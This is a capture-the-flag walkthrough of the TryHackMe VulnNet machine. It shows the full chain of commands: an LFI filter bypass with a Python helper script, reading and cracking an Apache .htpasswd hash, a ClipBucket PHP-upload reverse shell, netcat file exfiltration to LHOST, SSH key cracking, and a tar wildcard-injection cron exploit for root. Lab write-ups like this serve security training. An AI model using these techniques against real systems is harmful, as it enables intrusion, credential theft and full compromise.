TryHackMe - VulnNet
Link to the ctf: VulnNet
# Nmap 7.91 scan initiated Thu Mar 18 16:30:12 2021 as: nmap -sV -sC -vv -p- -T5 -Pn -oN nmap.log vulnnet.thm
Warning: 10.10.241.120 giving up on port because retransmission cap hit (2).
Nmap scan report for vulnnet.thm (10.10.241.120)
Host is up, received user-set (0.11s latency).
Scanned at 2021-03-18 16:30:13 CET for 333s
Not shown: 65533 closed ports
Reason: 65533 resets
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ea:c9:e8:67:76:0a:3f:97:09:a7:d7:a6:63:ad:c1:2c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwkZ4lon+5ZNgVQmItwLRcbDT9QrJJGvPrfqsbAnwk4dgPz1GDjIg+RwRIZIwPGRPpyvd01W1vh0BNs7Uh9f5RVuojlLxjqsN1876Jvt5Ma7ajC49lzxmtI8B5Vmwxx9cRA8JBvENm0+BTsDjpaj3JWllRffhD25Az/F1Tz3fSua1GiR7R2eEKSMrD38+QGG22AlrCNHvunCJkPmYH9LObHq9uSZ5PbJmqR3Yl3SJarCZ6zsKBG5Ka/xJL17QUB5o6ZRHgpw/pmw+JKWUkodIwPe4hCVH0dQkfVAATjlx9JXH95h4EPmKPvZuqHZyGUPE5jPiaNg6YCNCtexw5Wo41
| 256 0f:c8:f6:d3:8e:4c:ea:67:47:68:84:dc:1c:2b:2e:34 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBA8L+SEmXtvfURdTRsmhaay/VJTFJzXYlU/0uKlPAtdpyZ8qaI55EQYPwcPMIbvyYtZM37Bypg0Uf7Sa8i1aTKk=
| 256 05:53:99:fc:98:10:b5:c3:68:00:6c:29:41:da:a5:c9 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKNuqHl39hJpIduBG9J7QwetpgO1PWQSUDL/rvjXPiWw
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 8B7969B10EDA5D739468F4D3F2296496
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: VulnNet
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar 18 16:35:47 2021 -- 1 IP address (1 host up) scanned in 334.55 seconds
I didn’t find anything useful so I ran a VHOST enumeration
gobuster vhost --url http://vulnnet.thm --wordlist /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt | grep -v 'Status: 400'
I found broadcast.vulnnet.thm
that requires http authentication.
In the source page http://vulnnet.thm/
we see that at the bottom of the page, it’s been imported 2 javascript files.
analyzing the javascript files using de4js we see that one of them contains a special argument to pass at http://vulnnet.thm/index.php
I tried several techinques until I realized there was a LFI (Local File Inclusion) vulnerability:
I then relized that the function deletes the ../
strings so to cirumnavigate it, I used ..//
.
I created a script in python to better get the output since I didn’t want to scroll back down everytime I issue a new value.
#!/usr/bin/env python3
import requests
import sys
s = requests.Session()
if __name__ == "__main__":
DELIMETER1 = ''' </p>
</div>
</div>
</div>
</div>'''
DELIMETER2 = '<script src="/js/index__7ed54732.js"></script>'
target = ""
argument = ""
try:
target = sys.argv[1]
argument = sys.argv[2]
except:
print(f"Usage: {sys.argv[0]} <ip/host> <file>")
exit()
argument = argument.replace("../", "..//")
print("TARGET:", target)
print("FILE:", argument)
r = s.get(f"http://{target}/?referer={argument}")
print(r.text.split(DELIMETER2)[0].split(DELIMETER1)[1])
And I use the script ./lfi.py vulnnet.thm /etc/passwd
There is an interest line
server-management:x:1000:1000:server-management,,,:/home/server-management:/bin/bash
Knowing how apache works, I wanted to find the .htpasswd
file for the subdomain broadcast
.
The config file /etc/apache2/sites-enabled/000-default.conf
shows us a lot of information about http service.
<VirtualHost *:80>
ServerAdmin webmaster@localhost
ServerName vulnnet.thm
DocumentRoot /var/www/main
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
<Directory /var/www/main>
Order allow,deny
allow from all
</Directory>
</VirtualHost>
<VirtualHost *:80>
ServerAdmin webmaster@localhost
ServerName broadcast.vulnnet.thm
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
<Directory /var/www/html>
Order allow,deny
allow from all
AuthType Basic
AuthName "Restricted Content"
AuthUserFile /etc/apache2/.htpasswd
Require valid-user
</Directory>
</VirtualHost>
We wanna focus on the second VirtualHost
, where is in charge to define the broadcast.vulnnet.thm
hostname.
In fact, we see the line AuthUserFile /etc/apache2/.htpasswd
Let’s get that file and try to crack the password
developers:$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0
So we have developers
as username.
I used john
to do the crack and used the wordlist rockyou.txt
john -w=/usr/share/wordlists/rockyou.txt crackme.txt
Bingo, now we try to login at broadcast.vulnnet.thm
.
We got a clipbucket
instance.
On the Title name we see that Clipbucket is using the version 4.0
.
I googled it and we found a few interesting vulnerabilities:
I used searchsploit clipbucket
to look up for the vulnerability
I analyzed the last file with
searchsploit -x php/webapps/44250.txt
And decided to use the following exploit:
curl -F "file=@pfile.php" -F "plupload=1" -F "name=anyname.php" "http://$HOST/actions/photo_uploader.php"
We re gonna create a file called lmao.php
and use asio to generate a reverse shell
asio -H LHOST -P LPORT -A -B
I took the payload and put inside the lmao.php
file rwapped in the php system
function:
<?php system("ASIO_PAYLOAD"); ?>
and then used the curl command, being careful to add the authentication header like so:
curl -F "file=@lmao.php" -F "plupload=1" -F "name=lmao.php" -u "developers:HTPASS_PASSOWRD" "http://broadcast.vulnnet.thm/actions/photo_uploader.php"
We’re gonna get a response like this:
{"success":"yes","file_name":"1616102314ebf8b6","extension":"php","file_directory":"2021\/03\/18"}
I opened a listener with netcat:
rlwrap nc -vlp 8080
I headed at http://broadcast.vulnnet.thm/files/
, went into the photos
folder and follow the path specified in the file_directory
variable in the json response.
We’re gonna have our file with the same name as the value of file_name
.
Clicking on it we get a reverse shell.
Privilege escalation - Lateral Movement
First I stabilized my shell by issuing the following commands:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
then I saw that in /var/backups/
we have ssh-backup.tar.gz
-rw-rw-r-- 1 server-management server-management 1484 Jan 24 14:08 ssh-backup.tar.gz
I moved this file to my PC by opening a netcat listener in my machine
nc -lvp 8000 > "ssh-backup.tar.gz"
and send the command to my machine by issuing another command with netcat in the remote server:
cat ssh-backup.tar.gz | nc LHOST 8000
I extracted the archive by using tar:
tar xvf ssh-backup.tar.gz
NOTE: I always forget which argument pass to
tar
to extract the archive. Just thinking about eXtract Verbose Ffile
and we have an id_rsa
. Knowing that this file is owned by server-management
, I supposed that it belongs to this user.
But we have to crack it first:
/usr/share/john/ssh2john.py id_rsa > crackme
john -w=/usr/share/wordlists/rockyou.txt crackme
and after finding the password, we can use it to login via ssh:
ssh -i id_rsa server-management@vulnnet.thm
Privilege Escalation - Vertical Movement
inside /var/opt/
we see a file called backupsrv.sh
#!/bin/bash
# Where to backup to.
dest="/var/backups"
# What to backup.
cd /home/server-management/Documents
backup_files="*"
# Create archive filename.
day=$(date +%A)
hostname=$(hostname -s)
archive_file="$hostname-$day.tgz"
# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
date
echo
# Backup the files using tar.
tar czf $dest/$archive_file $backup_files
# Print end status message.
echo
echo "Backup finished"
date
# Long listing of files in $dest to check file sizes.
ls -lh $dest
This file is called by cronjob
after a while by using the user root
NOTE: I used
linpeas.sh
to get those informations
if we focus on the tar
command, we see that we have chance to use the wildcard injection
so the source directory is /home/server-management/Documents
, this is the place where we have to insert our special files.
I created a file called shell.sh
and added it the asio
reverse shell.
a file called --checkpoint=1
and then --checkpoint-action=exec=sh shell.sh
Now we can open a netcat
listener as we did before
and after a while, we should get root.